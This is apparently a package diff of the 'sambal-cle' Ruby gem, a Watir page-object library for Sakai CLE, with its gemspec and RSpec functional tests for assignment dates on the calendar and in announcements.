# SiteEditor class.
|
181
|
+
menu_link :site_editor, :text=>"Site Editor"
|
182
|
+
|
183
|
+
# SiteSetup class.
|
184
|
+
menu_link :site_setup, :text=>"Site Setup"
|
185
|
+
|
186
|
+
menu_link :site_statistics, :text=>"Site Statistics"
|
187
|
+
|
188
|
+
# Sites class.
|
189
|
+
menu_link :sites, :class=>"icon-sakai-sites"
|
190
|
+
|
191
|
+
menu_link :skin_manager, :text=>"Skin Manager"
|
192
|
+
menu_link :super_user, :text=>"Super User"
|
193
|
+
|
194
|
+
# Styles
|
195
|
+
menu_link :styles, :text=>"Styles"
|
196
|
+
|
197
|
+
# Syllabus class.
|
198
|
+
menu_link :syllabus, :text=>"Syllabus"
|
199
|
+
|
200
|
+
# AssessmentsList class OR the TakeAssessmentList for students
|
201
|
+
menu_link :assessments, :class=>"icon-sakai-samigo"
|
202
|
+
|
203
|
+
# UserMembership
|
204
|
+
menu_link :user_membership, :class=>"icon-sakai-usermembership"
|
205
|
+
|
206
|
+
# Users
|
207
|
+
menu_link :users, :class=>"icon-sakai-users"
|
208
|
+
|
209
|
+
# WebContent
|
210
|
+
menu_link :web_content, :class=>"icon-sakai-iframe"
|
211
|
+
|
212
|
+
# Wikis
|
213
|
+
menu_link :wiki, :class=>"icon-sakai-rwiki"
|
214
|
+
|
215
|
+
# The Page Reset button, found on all Site pages
|
216
|
+
menu_link :reset, :href=>/tool-reset/
|
217
|
+
|
218
|
+
# Login class.
|
219
|
+
menu_link :logout, :text=>"Logout"
|
220
|
+
alias :log_out :logout
|
221
|
+
alias :sign_out :logout
|
222
|
+
|
223
|
+
end
|
data/lib/sambal-cle.rb
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
require 'cgi'
|
2
|
+
require 'watir-webdriver'
|
3
|
+
require 'sambal-cle/page_maker.rb'
|
4
|
+
Dir["#{File.dirname(__FILE__)}/sambal-cle/*.rb"].each {|f| require f }
|
5
|
+
Dir["#{File.dirname(__FILE__)}/sambal-cle/page_objects/*.rb"].each {|f| require f }
|
6
|
+
Dir["#{File.dirname(__FILE__)}/sambal-cle/data_objects/*.rb"].each {|f| require f }
|
7
|
+
|
8
|
+
# Initialize this class at the start of your test cases to
|
9
|
+
# open the specified test browser at the specified Sakai welcome page URL.
|
10
|
+
#
|
11
|
+
# The initialization will return the LoginPage class object as well as
|
12
|
+
# create the @browser variable used throughout the page classes
|
13
|
+
class SakaiCLE
|
14
|
+
|
15
|
+
#include PageObject
|
16
|
+
#include ToolsMenu
|
17
|
+
|
18
|
+
attr_reader :browser
|
19
|
+
|
20
|
+
def initialize(web_browser, url)
|
21
|
+
@browser = Watir::Browser.new web_browser
|
22
|
+
@browser.window.resize_to(1400,900)
|
23
|
+
@browser.goto url
|
24
|
+
end
|
25
|
+
|
26
|
+
# Returns the class containing the welcome page's page elements.
|
27
|
+
def page
|
28
|
+
Login.new @browser
|
29
|
+
end
|
30
|
+
|
31
|
+
end
|
data/sambal-cle.gemspec
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
spec = Gem::Specification.new do |s|
|
2
|
+
s.name = 'sambal-cle'
|
3
|
+
s.version = '0.1.3'
|
4
|
+
s.summary = %q{Sakai-CLE functional testing API for the rSmart Collaborative Learning Environment}
|
5
|
+
s.description = %q{The Sambal-CLE gem provides an API for interacting with pages and page elements in rSmart's deployment of the Sakai Collaborative Learning Environment.}
|
6
|
+
s.files = Dir.glob("**/**/**")
|
7
|
+
s.test_files = Dir.glob("test/*test_rb")
|
8
|
+
s.authors = ["Abraham Heward"]
|
9
|
+
s.email = %w{"aheward@rsmart.com"}
|
10
|
+
s.homepage = 'https://github.com/rSmart/sambal-cle'
|
11
|
+
s.add_dependency 'watir-webdriver', '>= 0.5.5'
|
12
|
+
s.add_dependency 'selenium-webdriver', '>= 2.21.2'
|
13
|
+
s.required_ruby_version = '>= 1.9.2'
|
14
|
+
end
|
@@ -0,0 +1,86 @@
|
|
1
|
+
require 'rspec'
|
2
|
+
require 'sambal-cle'
|
3
|
+
require 'yaml'
|
4
|
+
|
5
|
+
describe "Assignment Due Date on Calendar" do
|
6
|
+
|
7
|
+
include Utilities
|
8
|
+
include Workflows
|
9
|
+
include PageHelper
|
10
|
+
include Randomizers
|
11
|
+
include DateMakers
|
12
|
+
|
13
|
+
before :all do
|
14
|
+
|
15
|
+
# Get the test configuration data
|
16
|
+
@config = YAML.load_file("config.yml")
|
17
|
+
@directory = YAML.load_file("directory.yml")
|
18
|
+
@sakai = SakaiCLE.new(@config['browser'], @config['url'])
|
19
|
+
@browser = @sakai.browser
|
20
|
+
|
21
|
+
@student = @directory['person1']['id']
|
22
|
+
@spassword = @directory['person1']['password']
|
23
|
+
@instructor1 = @directory['person3']['id']
|
24
|
+
@ipassword = @directory['person3']['password']
|
25
|
+
|
26
|
+
@instructor2 = @directory['person4']['id']
|
27
|
+
@password1 = @directory['person4']['password']
|
28
|
+
|
29
|
+
@sakai.page.login(@instructor1, @ipassword)
|
30
|
+
|
31
|
+
@site = make SiteObject
|
32
|
+
@site.create
|
33
|
+
|
34
|
+
@site.add_official_participants :role=>"Student", :participants=>[@student]
|
35
|
+
@site.add_official_participants :role=>"Instructor", :participants=>[@instructor2]
|
36
|
+
|
37
|
+
@assignment1 = make AssignmentObject, :site=>@site.name, :title=>random_string, :grade_scale=>"Letter grade", :instructions=>random_multiline(500, 10, :string), :open=>minutes_ago(5)
|
38
|
+
@assignment2 = make AssignmentObject, :allow_resubmission=>:set, :add_due_date=>:set, :site=>@site.name, :title=>random_nicelink(15), :open=>hours_ago(5), :student_submissions=>"Inline only", :grade_scale=>"Letter grade", :instructions=>random_multiline(750, 13, :string)
|
39
|
+
|
40
|
+
@assignment1.create
|
41
|
+
@assignment2.create
|
42
|
+
|
43
|
+
end
|
44
|
+
|
45
|
+
after :all do
|
46
|
+
# Close the browser window
|
47
|
+
@sakai.browser.close
|
48
|
+
end
|
49
|
+
|
50
|
+
it "When 'add due date to schedule' not checked, Assignment does not appear on the Calendar" do
|
51
|
+
calendar
|
52
|
+
|
53
|
+
on Calendar do |calendar|
|
54
|
+
# List events on the expected due date for Assignment 2
|
55
|
+
calendar.view.select "List of Events"
|
56
|
+
calendar.show_events.select "Custom date range"
|
57
|
+
calendar.start_month.select @assignment1.due[:MON]
|
58
|
+
calendar.start_day.select @assignment1.due[:day_of_month]
|
59
|
+
calendar.start_year.select @assignment1.due[:year]
|
60
|
+
calendar.end_month.select @assignment1.due[:MON]
|
61
|
+
calendar.end_day.select @assignment1.due[:day_of_month]
|
62
|
+
calendar.end_year.select @assignment1.due[:year]
|
63
|
+
calendar.filter_events
|
64
|
+
|
65
|
+
calendar.events_list.should_not include "Due #{@assignment1.title}"
|
66
|
+
end
|
67
|
+
end
|
68
|
+
|
69
|
+
it "When 'add due date to schedule' is checked, Assignment appears on the Calendar" do
|
70
|
+
on Calendar do |calendar|
|
71
|
+
calendar.start_month.select @assignment2.due[:MON]
|
72
|
+
calendar.start_day.select @assignment2.due[:day_of_month]
|
73
|
+
calendar.start_year.select @assignment2.due[:year]
|
74
|
+
calendar.end_month.select @assignment2.due[:MON]
|
75
|
+
calendar.end_day.select @assignment2.due[:day_of_month]
|
76
|
+
calendar.end_year.select @assignment2.due[:year]
|
77
|
+
calendar.filter_events
|
78
|
+
|
79
|
+
calendar.events_list.should include "Due #{@assignment2.title}"
|
80
|
+
|
81
|
+
end
|
82
|
+
end
|
83
|
+
|
84
|
+
# TODO: Add tests for student and other instructor being able to see the assignment in the calendar
|
85
|
+
|
86
|
+
end
|
@@ -0,0 +1,71 @@
|
|
1
|
+
require 'rspec'
|
2
|
+
require 'sambal-cle'
|
3
|
+
require 'yaml'
|
4
|
+
|
5
|
+
describe "Assignments appearing in Announcements" do
|
6
|
+
|
7
|
+
include Utilities
|
8
|
+
include Workflows
|
9
|
+
include PageHelper
|
10
|
+
include Randomizers
|
11
|
+
include DateMakers
|
12
|
+
|
13
|
+
before :all do
|
14
|
+
|
15
|
+
# Get the test configuration data
|
16
|
+
@config = YAML.load_file("config.yml")
|
17
|
+
@directory = YAML.load_file("directory.yml")
|
18
|
+
@sakai = SakaiCLE.new(@config['browser'], @config['url'])
|
19
|
+
@browser = @sakai.browser
|
20
|
+
|
21
|
+
@student = @directory['person1']['id']
|
22
|
+
@spassword = @directory['person1']['password']
|
23
|
+
@instructor1 = @directory['person3']['id']
|
24
|
+
@ipassword = @directory['person3']['password']
|
25
|
+
|
26
|
+
@instructor2 = @directory['person4']['id']
|
27
|
+
@password1 = @directory['person4']['password']
|
28
|
+
|
29
|
+
@sakai.page.login(@instructor1, @ipassword)
|
30
|
+
|
31
|
+
@site = make SiteObject
|
32
|
+
@site.create
|
33
|
+
|
34
|
+
@site.add_official_participants :role=>"Student", :participants=>[@student]
|
35
|
+
@site.add_official_participants :role=>"Instructor", :participants=>[@instructor2]
|
36
|
+
|
37
|
+
@assignment1 = make AssignmentObject, :status=>"Draft", :add_open_announcement=>:set, :site=>@site.name, :title=>random_xss_string(30), :open=>in_an_hour, :student_submissions=>"Attachments only", :grade_scale=>"Points", :max_points=>"100", :instructions=>random_multiline(600, 12, :string)
|
38
|
+
@assignment2 = make AssignmentObject, :site=>@site.name, :add_open_announcement=>:set, :open=>an_hour_ago
|
39
|
+
@assignment1.create
|
40
|
+
@assignment2.create
|
41
|
+
|
42
|
+
end
|
43
|
+
|
44
|
+
after :all do
|
45
|
+
# Close the browser window
|
46
|
+
@sakai.browser.close
|
47
|
+
end
|
48
|
+
|
49
|
+
it "Assignments in Draft status do not appear in Announcements" do
|
50
|
+
home
|
51
|
+
|
52
|
+
on Home do |home|
|
53
|
+
home.announcements_list.should_not include("Assignment: Open Date for '#{@assignment1.title}'")
|
54
|
+
end
|
55
|
+
end
|
56
|
+
|
57
|
+
it "Open assignments do appear in Announcements" do
|
58
|
+
on Home do |home|
|
59
|
+
home.announcements_list.should include("Assignment: Open Date for '#{@assignment2.title}'")
|
60
|
+
end
|
61
|
+
end
|
62
|
+
|
63
|
+
it "Changing assignment from Draft to open will display assignment in Announcements" do
|
64
|
+
@assignment1.edit :status=>"Open"
|
65
|
+
home
|
66
|
+
on Home do |home|
|
67
|
+
home.announcements_list.should include("Assignment: Open Date for '#{@assignment1.title}'")
|
68
|
+
end
|
69
|
+
end
|
70
|
+
|
71
|
+
end
|